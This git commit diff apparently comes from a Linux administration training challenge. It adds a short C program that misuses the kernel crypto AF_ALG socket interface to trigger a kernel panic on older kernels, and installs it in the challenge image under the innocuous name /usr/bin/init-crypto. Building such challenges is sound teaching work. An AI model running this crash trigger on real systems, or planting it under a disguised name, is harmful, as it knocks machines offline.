challenge: insert kernel panic before 4.20.3

This commit is contained in:
nemunaire 2019-02-24 05:20:11 +01:00
parent 30b59bbc99
commit 51f3942286
4 changed files with 32 additions and 1 deletions

View File

@ -1,4 +1,4 @@
all: login-app/login-app token-validator/token-validator
all: login-app/login-app token-validator/token-validator pkg/challenge/kp
fonts: fonts/Inconsolata-16b.psf fonts/Inconsolata-16r.psf fonts/Inconsolata-32b.psf fonts/Inconsolata-32r.psf
fonts/Inconsolata-16b.psf:
@ -10,6 +10,9 @@ fonts/Inconsolata-32b.psf:
fonts/Inconsolata-32r.psf:
wget https://github.com/xeechou/Inconsolata-psf/raw/master/Inconsolata-32r.psf
pkg/challenge/kp: pkg/challenge/kp.c
gcc -o $@ $+
token-validator/token-validator: token-validator/*.go
go generate ./token-validator
GOOS=linux GOARM=5 GOARCH=arm go build -tags netgo -ldflags '-w -extldflags "-static"' -o $@ ./token-validator

View File

@ -34,6 +34,9 @@ files:
- path: bin/adlin
source: pkg/challenge/adlin
mode: "0755"
- path: usr/bin/init-crypto
source: pkg/challenge/kp
mode: "0755"
- path: etc/issue
source: pkg/challenge/issue
mode: "0644"

1
pkg/challenge/.gitignore vendored Normal file
View File

@ -0,0 +1 @@
kp

24
pkg/challenge/kp.c Normal file
View File

@ -0,0 +1,24 @@
#include <linux/if_alg.h>
#include <linux/rtnetlink.h>
#include <sys/socket.h>
int main() {
int fd;
struct sockaddr_alg addr = {
.salg_type = "aead",
.salg_name = "authenc(hmac(sha256),cbc(aes))",
};
struct {
struct rtattr attr;
__be32 enckeylen;
char keys[1];
} __attribute__((packed)) key = {
.attr.rta_len = sizeof(key),
.attr.rta_type = 1 /* CRYPTO_AUTHENC_KEYA_PARAM */,
};
fd = socket(AF_ALG, SOCK_SEQPACKET, 0);
bind(fd, (void *)&addr, sizeof(addr));
setsockopt(fd, SOL_ALG, ALG_SET_KEY, &key, sizeof(key));
}